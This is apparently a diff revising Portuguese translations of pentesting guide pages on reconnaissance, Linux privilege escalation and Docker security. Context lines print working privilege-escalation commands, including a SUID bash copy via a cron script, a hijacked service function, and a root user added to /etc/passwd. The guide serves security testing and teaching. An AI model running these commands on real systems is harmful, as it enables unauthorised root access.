||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
@ -142,7 +141,7 @@ return fhash
|
||||
```
|
||||
### **Copyright / Uniq string**
|
||||
|
||||
Procure nas páginas da web **strings que podem ser compartilhadas entre diferentes sites na mesma organização**. A **string de copyright** pode ser um bom exemplo. Em seguida, procure por essa string no **google**, em outros **navegadores** ou até mesmo no **shodan**: `shodan search http.html:"Copyright string"`
|
||||
Procure nas páginas da web **strings que podem ser compartilhadas entre diferentes sites na mesma organização**. A **string de copyright** pode ser um bom exemplo. Em seguida, procure essa string no **google**, em outros **navegadores** ou até mesmo no **shodan**: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT Time**
|
||||
|
||||
@ -176,17 +175,15 @@ Você poderia acessar o **certificado TLS** da página principal, obter o **nome
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível.
|
||||
|
||||
### **Procurando vulnerabilidades**
|
||||
|
||||
Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
|
||||
Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas tenha **perdido a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
|
||||
|
||||
Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\
|
||||
&#xNAN;_Note que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
|
||||
|
||||
|
||||
|
||||
## Subdomínios
|
||||
|
||||
> Sabemos todas as empresas dentro do escopo, todos os ativos de cada empresa e todos os domínios relacionados às empresas.
|
||||
@ -198,7 +195,7 @@ Se você encontrar algum **domínio com um IP diferente** dos que você já enco
|
||||
|
||||
### **DNS**
|
||||
|
||||
Vamos tentar obter **subdomínios** dos registros **DNS**. Também devemos tentar por **Transferência de Zona** (Se vulnerável, você deve relatar).
|
||||
Vamos tentar obter **subdomínios** dos registros **DNS**. Também devemos tentar por **Transferência de Zona** (Se vulnerável, você deve relatar isso).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
@ -285,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||
}
|
||||
crt tesla.com
|
||||
```
|
||||
- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para um domínio específico.
|
||||
- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para qualquer domínio dado.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
@ -392,7 +389,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
|
||||
#### Geração de permutações inteligentes
|
||||
|
||||
- [**regulator**](https://github.com/cramppet/regulator): Para mais informações, leia este [**post**](https://cramppet.github.io/regulator/index.html), mas basicamente ele obterá as **partes principais** dos **subdomínios descobertos** e as misturará para encontrar mais subdomínios.
|
||||
- [**regulator**](https://github.com/cramppet/regulator): Para mais informações, leia este [**post**](https://cramppet.github.io/regulator/index.html), mas basicamente ele pegará as **partes principais** dos **subdomínios descobertos** e as misturará para encontrar mais subdomínios.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
@ -406,13 +403,17 @@ echo www | subzuf facebook.com
|
||||
|
||||
Confira este post de blog que escrevi sobre como **automatizar a descoberta de subdomínios** a partir de um domínio usando **Trickest workflows** para que eu não precise lançar manualmente um monte de ferramentas no meu computador:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
### **VHosts / Hosts Virtuais**
|
||||
|
||||
Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com sites nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**.
|
||||
Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com páginas nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
@ -450,9 +451,9 @@ Além disso, como neste ponto você já conhecerá todos os domínios dentro do
|
||||
|
||||
### **Monitorização**
|
||||
|
||||
Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificados** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificados** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)faz.
|
||||
|
||||
### **Procurando vulnerabilidades**
|
||||
### **Procurando por vulnerabilidades**
|
||||
|
||||
Verifique possíveis [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
@ -471,7 +472,7 @@ Usando serviços das seguintes **APIs gratuitas**, você também pode encontrar
|
||||
|
||||
Você também pode verificar domínios apontando para um endereço IP específico usando a ferramenta [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
|
||||
### **Procurando vulnerabilidades**
|
||||
### **Procurando por vulnerabilidades**
|
||||
|
||||
**Varra todas as portas dos IPs que não pertencem a CDNs** (pois você provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
|
||||
|
||||
@ -485,7 +486,7 @@ Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento
|
||||
|
||||
Por favor, note que isso será **orientado para descoberta de aplicativos web**, então você deve **realizar a varredura de vulnerabilidades** e **varredura de portas** também (**se permitido** pelo escopo).
|
||||
|
||||
Um **método rápido** para descobrir **portas abertas** relacionadas a **servidores web** usando [**masscan** pode ser encontrado aqui](../pentesting-network/#http-port-discovery).\
|
||||
Um **método rápido** para descobrir **portas abertas** relacionadas a **servidores** web usando [**masscan** pode ser encontrado aqui](../pentesting-network/#http-port-discovery).\
|
||||
Outra ferramenta amigável para procurar servidores web é [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Você apenas passa uma lista de domínios e ela tentará se conectar à porta 80 (http) e 443 (https). Além disso, você pode indicar para tentar outras portas:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
@ -501,7 +502,7 @@ Além disso, você pode usar [**eyeballer**](https://github.com/BishopFox/eyebal
|
||||
|
||||
## Ativos de Nuvem Pública
|
||||
|
||||
Para encontrar potenciais ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identificam essa empresa**. Por exemplo, para uma empresa de criptomoedas, você pode usar palavras como: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
Para encontrar potenciais ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identificam essa empresa**. Por exemplo, para uma empresa de criptomoeda, você pode usar palavras como: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Você também precisará de listas de palavras de **palavras comuns usadas em buckets**:
|
||||
|
||||
@ -509,7 +510,7 @@ Você também precisará de listas de palavras de **palavras comuns usadas em bu
|
||||
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Então, com essas palavras, você deve gerar **permutations** (verifique o [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) para mais informações).
|
||||
Então, com essas palavras, você deve gerar **permutations** (ver [**Segunda Rodada de Força Bruta DNS**](./#second-dns-bruteforce-round) para mais informações).
|
||||
|
||||
Com as listas de palavras resultantes, você pode usar ferramentas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
@ -609,7 +610,7 @@ Então você já:
|
||||
4. Encontrou todos os **subdomínios** dos domínios (algum takeover de subdomínio?)
|
||||
5. Encontrou todos os **IPs** (de e **não de CDNs**) dentro do escopo.
|
||||
6. Encontrou todos os **servidores web** e tirou uma **captura de tela** deles (algo estranho que vale uma olhada mais profunda?)
|
||||
7. Encontrou todos os **ativos de nuvem pública potenciais** pertencentes à empresa.
|
||||
7. Encontrou todos os **potenciais ativos de nuvem pública** pertencentes à empresa.
|
||||
8. **Emails**, **vazamentos de credenciais** e **vazamentos de segredos** que podem te dar uma **grande vitória muito facilmente**.
|
||||
9. **Pentesting todas as webs que você encontrou**
|
||||
|
||||
|
||||
@ -18,15 +18,15 @@ Se você **tiver permissões de escrita em qualquer pasta dentro da variável `P
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
### Env info
|
||||
### Info do ambiente
|
||||
|
||||
Informações interessantes, senhas ou chaves de API nas variáveis de ambiente?
|
||||
```bash
|
||||
(env || set) 2>/dev/null
|
||||
```
|
||||
### Exploits de kernel
|
||||
### Exploits de Kernel
|
||||
|
||||
Verifique a versão do kernel e se há algum exploit que pode ser usado para escalar privilégios.
|
||||
Verifique a versão do kernel e se há algum exploit que possa ser usado para escalar privilégios.
|
||||
```bash
|
||||
cat /proc/version
|
||||
uname -a
|
||||
@ -45,7 +45,7 @@ Ferramentas que podem ajudar a procurar por exploits de kernel são:
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute NO vítima, apenas verifica exploits para kernel 2.x)
|
||||
|
||||
Sempre **pesquise a versão do kernel no Google**, talvez a versão do seu kernel esteja escrita em algum exploit de kernel e então você terá certeza de que esse exploit é válido.
|
||||
Sempre **pesquise a versão do kernel no Google**, talvez sua versão do kernel esteja escrita em algum exploit de kernel e então você terá certeza de que esse exploit é válido.
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
|
||||
@ -144,7 +144,7 @@ Enumere binários úteis
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendável compilá-lo na máquina onde você vai usá-lo (ou em uma similar).
|
||||
Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendável compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
@ -168,7 +168,7 @@ ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Sempre verifique se há possíveis [**depuradores electron/cef/chromium**] em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\
|
||||
Sempre verifique se há possíveis [**electron/cef/chromium debuggers**] em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\
|
||||
Além disso, **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever alguém.
|
||||
|
||||
### Monitoramento de processos
|
||||
@ -182,7 +182,7 @@ Normalmente, você precisará de **privilégios de root** para ler a memória de
|
||||
No entanto, lembre-se de que **como um usuário regular, você pode ler a memória dos processos que possui**.
|
||||
|
||||
> [!WARNING]
|
||||
> Note que atualmente a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode despejar outros processos que pertencem ao seu usuário sem privilégios.
|
||||
> Note que atualmente a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode despejar outros processos que pertencem ao seu usuário não privilegiado.
|
||||
>
|
||||
> O arquivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla a acessibilidade do ptrace:
|
||||
>
|
||||
@ -313,7 +313,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
# finding secrets
|
||||
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
|
||||
```
|
||||
## Trabalhos Agendados/Cron
|
||||
## Scheduled/Cron jobs
|
||||
|
||||
Verifique se algum trabalho agendado é vulnerável. Talvez você possa aproveitar um script sendo executado pelo root (vulnerabilidade de curinga? pode modificar arquivos que o root usa? usar symlinks? criar arquivos específicos no diretório que o root usa?).
|
||||
```bash
|
||||
@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez seja útil deletar essa pasta e **criar um diretório symlink para outro** que sirva um script controlado por você.
|
||||
Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez seja útil excluir essa pasta e **criar um diretório symlink para outro** que sirva um script controlado por você.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
@ -385,7 +385,7 @@ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/
|
||||
|
||||
### Binários de serviço graváveis
|
||||
|
||||
Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que quando os serviços forem re-executados, os backdoors serão executados.
|
||||
Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que quando os serviços forem reexecutados, os backdoors serão executados.
|
||||
|
||||
### PATH do systemd - Caminhos Relativos
|
||||
|
||||
@ -536,9 +536,9 @@ Após configurar a conexão `socat`, você pode executar comandos diretamente no
|
||||
|
||||
### Outros
|
||||
|
||||
Observe que se você tiver permissões de gravação sobre o socket do docker porque você está **dentro do grupo `docker`** você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/#docker-group). Se a [**API do docker estiver ouvindo em uma porta** você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/#docker-group). Se a [**API do docker estiver escutando em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Verifique **mais maneiras de sair do docker ou abusar dele para escalar privilégios** em:
|
||||
Verifique **mais maneiras de escapar do docker ou abusar dele para escalar privilégios** em:
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
@ -677,7 +677,7 @@ echo "Highlighted text: "`xsel -o 2>/dev/null`
|
||||
else echo "Not found xsel and xclip"
|
||||
fi
|
||||
```
|
||||
### Política de Senhas
|
||||
### Política de Senha
|
||||
```bash
|
||||
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
|
||||
```
|
||||
@ -694,7 +694,7 @@ Se você não se importar em fazer muito barulho e os binários `su` e `timeout`
|
||||
|
||||
### $PATH
|
||||
|
||||
Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** você pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
|
||||
Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
|
||||
|
||||
### SUDO e SUID
|
||||
|
||||
@ -771,7 +771,7 @@ Essa técnica também pode ser usada se um **suid** binário **executar outro co
|
||||
|
||||
Se o **suid** binário **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando.
|
||||
|
||||
Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la:
|
||||
Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você deve tentar criar a função e exportá-la:
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
@ -787,7 +787,7 @@ No entanto, para manter a segurança do sistema e evitar que esse recurso seja e
|
||||
- O carregador ignora **LD_PRELOAD** para executáveis onde o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_).
|
||||
- Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também são suid/sgid são pré-carregadas.
|
||||
|
||||
A escalada de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Esta configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando os comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados.
|
||||
A escalada de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Esta configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados.
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
@ -892,7 +892,7 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada
|
||||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando.
|
||||
[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando.
|
||||
|
||||
O projeto coleta funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração.
|
||||
|
||||
@ -901,9 +901,13 @@ O projeto coleta funções legítimas de binários Unix que podem ser abusadas p
|
||||
> strace -o /dev/null /bin/sh\
|
||||
> sudo awk 'BEGIN {system("/bin/sh")}'
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfoargs.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfoargs.github.io/
|
||||
{{#endref}}
|
||||
|
||||
### FallOfSudo
|
||||
|
||||
@ -924,7 +928,7 @@ Requisitos para escalar privilégios:
|
||||
|
||||
Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token sudo na sua sessão** (você não receberá automaticamente um shell root, faça `sudo su`):
|
||||
- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token sudo na sua sessão** (você não obterá automaticamente um shell root, faça `sudo su`):
|
||||
```bash
|
||||
bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
@ -1117,7 +1121,7 @@ Verifique a **caixa de Valentine do HTB** para um exemplo.
|
||||
|
||||
## SSH
|
||||
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
### Debian OpenSSL PRNG Previsível - CVE-2008-0166
|
||||
|
||||
Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\
|
||||
Esse bug é causado ao criar uma nova chave ssh nesses sistemas operacionais, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh, você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
@ -1143,7 +1147,7 @@ Especifica arquivos que contêm as chaves públicas que podem ser usadas para au
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
Essa configuração indicará que, se você tentar fazer login com a chave **privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`.
|
||||
Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`.
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
@ -1202,7 +1206,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
Ex.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
|
||||
Agora você pode usar o comando `su` com `hacker:hacker`
|
||||
Você pode agora usar o comando `su` com `hacker:hacker`
|
||||
|
||||
Alternativamente, você pode usar as seguintes linhas para adicionar um usuário fictício sem senha.\
|
||||
AVISO: você pode degradar a segurança atual da máquina.
|
||||
@ -1231,7 +1235,7 @@ As seguintes pastas podem conter backups ou informações interessantes: **/tmp*
|
||||
```bash
|
||||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
### Arquivos de Localização Estranha/Propriedade
|
||||
### Localização Estranha/Arquivos Possuídos
|
||||
```bash
|
||||
#root owned files in /home folders
|
||||
find /home -user root 2>/dev/null
|
||||
@ -1288,7 +1292,7 @@ Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalat
|
||||
### Logs
|
||||
|
||||
Se você puder ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho o log, mais interessante ele será (provavelmente).\
|
||||
Além disso, alguns **logs de auditoria** **"mal"** configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
Além disso, alguns logs de **auditoria** **"mal"** configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
@ -1308,14 +1312,14 @@ Para **ler logs o grupo** [**adm**](interesting-groups-linux-pe/#adm-group) ser
|
||||
```
|
||||
### Pesquisa/Regex de Credenciais Genéricas
|
||||
|
||||
Você também deve verificar arquivos que contêm a palavra "**password**" em seu **nome** ou dentro do **conteúdo**, e também verificar IPs e emails dentro de logs, ou expressões regulares de hashes.\
|
||||
Você também deve verificar arquivos que contenham a palavra "**password**" em seu **nome** ou dentro do **conteúdo**, e também verificar IPs e emails dentro de logs, ou expressões regulares de hashes.\
|
||||
Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pode verificar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza.
|
||||
|
||||
## Arquivos Graváveis
|
||||
|
||||
### Sequestro de Biblioteca Python
|
||||
|
||||
Se você souber **de onde** um script python será executado e você **pode escrever dentro** daquela pasta ou você pode **modificar bibliotecas python**, você pode modificar a biblioteca OS e criar um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py).
|
||||
Se você souber de **onde** um script python será executado e você **pode escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e criar um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py).
|
||||
|
||||
Para **criar um backdoor na biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT):
|
||||
```python
|
||||
@ -1338,7 +1342,7 @@ Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvede
|
||||
|
||||
**Referência de vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-<whatever>` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
|
||||
Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-<qualquer>` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
|
||||
|
||||
Scripts de rede, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
|
||||
|
||||
|
||||
@ -17,7 +17,7 @@ O Docker engine, por padrão, escuta no socket Unix em `unix:///var/run/docker.s
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
No entanto, expor o daemon do Docker via HTTP não é recomendado devido a preocupações de segurança. É aconselhável proteger as conexões usando HTTPS. Existem duas abordagens principais para garantir a conexão:
|
||||
No entanto, expor o daemon do Docker via HTTP não é recomendado devido a preocupações de segurança. É aconselhável proteger as conexões usando HTTPS. Existem duas abordagens principais para proteger a conexão:
|
||||
|
||||
1. O cliente verifica a identidade do servidor.
|
||||
2. Tanto o cliente quanto o servidor autenticam mutuamente a identidade um do outro.
|
||||
@ -103,14 +103,14 @@ Em ambientes containerizados, isolar projetos e seus processos é fundamental pa
|
||||
**Grupos de Controle (CGroups)**
|
||||
|
||||
- **Função**: Usado principalmente para alocar recursos entre processos.
|
||||
- **Aspecto de Segurança**: Os CGroups em si não oferecem segurança de isolamento, exceto pelo recurso `release_agent`, que, se mal configurado, pode ser potencialmente explorado para acesso não autorizado.
|
||||
- **Aspecto de Segurança**: Os CGroups em si não oferecem segurança de isolamento, exceto pelo recurso `release_agent`, que, se mal configurado, poderia ser potencialmente explorado para acesso não autorizado.
|
||||
|
||||
**Queda de Capacidades**
|
||||
|
||||
- **Importância**: É um recurso de segurança crucial para o isolamento de processos.
|
||||
- **Funcionalidade**: Restringe as ações que um processo root pode realizar, eliminando certas capacidades. Mesmo que um processo seja executado com privilégios de root, a falta das capacidades necessárias impede que ele execute ações privilegiadas, pois as syscalls falharão devido a permissões insuficientes.
|
||||
|
||||
Estas são as **capacidades restantes** após o processo descartar as outras:
|
||||
Estas são as **capacidades restantes** após o processo eliminar as outras:
|
||||
```
|
||||
